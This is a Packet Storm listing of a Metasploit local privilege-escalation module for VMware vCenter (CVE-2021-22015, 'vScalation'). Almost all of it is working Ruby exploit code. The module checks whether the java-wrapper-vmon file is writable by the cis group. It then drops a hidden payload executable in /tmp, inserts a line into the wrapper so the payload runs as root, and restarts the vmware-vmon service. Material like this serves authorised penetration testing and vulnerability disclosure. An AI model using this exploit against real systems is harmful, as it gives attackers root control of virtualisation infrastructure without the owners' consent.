Lucene search

K
packetstormH00die, Yuval Lazar, metasploit.comPACKETSTORM:170116
HistoryDec 06, 2022 - 12:00 a.m.

VMware vCenter vScalation Privilege Escalation

2022-12-0600:00:00
h00die, Yuval Lazar, metasploit.com
packetstormsecurity.com
213
vmware vcenter
vscalation
privilege escalation
vsphere
'cis' group
file permissions

0.0004 Low

EPSS

Percentile

16.1%

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Local  
Rank = ManualRanking  
  
include Msf::Post::Linux::Priv  
include Msf::Post::File  
include Msf::Exploit::EXE  
include Msf::Exploit::FileDropper  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'VMware vCenter vScalation Priv Esc',  
'Description' => %q{  
This module exploits a privilege escalation in vSphere/vCenter due to improper permissions on the  
/usr/lib/vmware-vmon/java-wrapper-vmon file. It is possible for anyone in the  
cis group to write to the file, which will execute as root on vmware-vmon service  
restart or host reboot.  
  
This module was successfully tested against VMware VirtualCenter 6.5.0 build-7070488.  
The following versions should be vulnerable:  
vCenter 7.0 before U2c  
vCenter 6.7 before U3o  
vCenter 6.5 before U3q  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'h00die', # msf module  
'Yuval Lazar' # original PoC, analysis  
],  
'Platform' => [ 'linux' ],  
'Arch' => [ ARCH_X86, ARCH_X64 ],  
'SessionTypes' => [ 'shell', 'meterpreter' ],  
'Targets' => [[ 'Auto', {} ]],  
'Privileged' => true,  
'References' => [  
[ 'URL', 'https://pentera.io/blog/vscalation-cve-2021-22015-local-privilege-escalation-in-vmware-vcenter-pentera-labs/' ],  
[ 'CVE', '2021-22015' ],  
[ 'URL', 'https://www.vmware.com/security/advisories/VMSA-2021-0020.html' ]  
],  
'DisclosureDate' => '2021-09-21',  
'DefaultTarget' => 0,  
'DefaultOptions' => {  
'WfsDelay' => 1800 # 30min  
},  
'Notes' => {  
'Stability' => [CRASH_SERVICE_DOWN],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES, IOC_IN_LOGS],  
'AKA' => ['vScalation']  
}  
)  
)  
register_advanced_options [  
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])  
]  
end  
  
# Simplify pulling the writable directory variable  
def base_dir  
datastore['WritableDir'].to_s  
end  
  
def java_wrapper_vmon  
'/usr/lib/vmware-vmon/java-wrapper-vmon'  
end  
  
def check  
group_owner = cmd_exec("stat -c \"%G\" \"#{java_wrapper_vmon}\"")  
if writable?(java_wrapper_vmon) && group_owner == 'cis'  
return CheckCode::Appears("#{java_wrapper_vmon} is writable and owned by cis group")  
end  
  
CheckCode::Safe("#{java_wrapper_vmon} not owned by 'cis' group (owned by '#{group_owner}'), or not writable")  
end  
  
def exploit  
# Check if we're already root  
if is_root? && !datastore['ForceExploit']  
fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override'  
end  
  
# Make sure we can write our exploit and payload to the local system  
unless writable? base_dir  
fail_with Failure::BadConfig, "#{base_dir} is not writable"  
end  
  
# backup the original file  
@backup = read_file(java_wrapper_vmon)  
path = store_loot(  
'java-wrapper-vmon.text',  
'text/plain',  
rhost,  
@backup,  
'java-wrapper-vmon.text'  
)  
print_good("Original #{java_wrapper_vmon} backed up to #{path}")  
  
# Upload payload executable  
payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"  
print_status("Writing payload to #{payload_path}")  
upload_and_chmodx payload_path, generate_payload_exe  
register_files_for_cleanup payload_path  
  
# write trojaned file  
# we want to write our payload towards the top to ensure it gets run  
# writing it at the bottom of the file results in the payload not being run  
print_status("Writing trojaned #{java_wrapper_vmon}")  
write_file(java_wrapper_vmon, @backup.gsub('#!/bin/sh', "#!/bin/sh\n#{payload_path} &\n"))  
  
# try to restart the service  
print_status('Attempting to restart vmware-vmon service (systemctl restart vmware-vmon.service)')  
service_restart = cmd_exec('systemctl restart vmware-vmon.service')  
# one error i'm seeing when using vsphere-client is: Failed to restart vmware-vmon.service: The name org.freedesktop.PolicyKit1 was not provided by any .service files  
if service_restart.downcase.include?('access denied') || service_restart.downcase.include?('failed')  
print_bad('vmware-vmon service needs to be restarted, or host rebooted to obtain shell.')  
end  
print_status("Waiting #{datastore['WfsDelay']} seconds for shell")  
end  
  
def cleanup  
unless @backup.nil?  
print_status("Replacing trojaned #{java_wrapper_vmon} with original")  
write_file(java_wrapper_vmon, @backup)  
end  
super  
end  
end  
`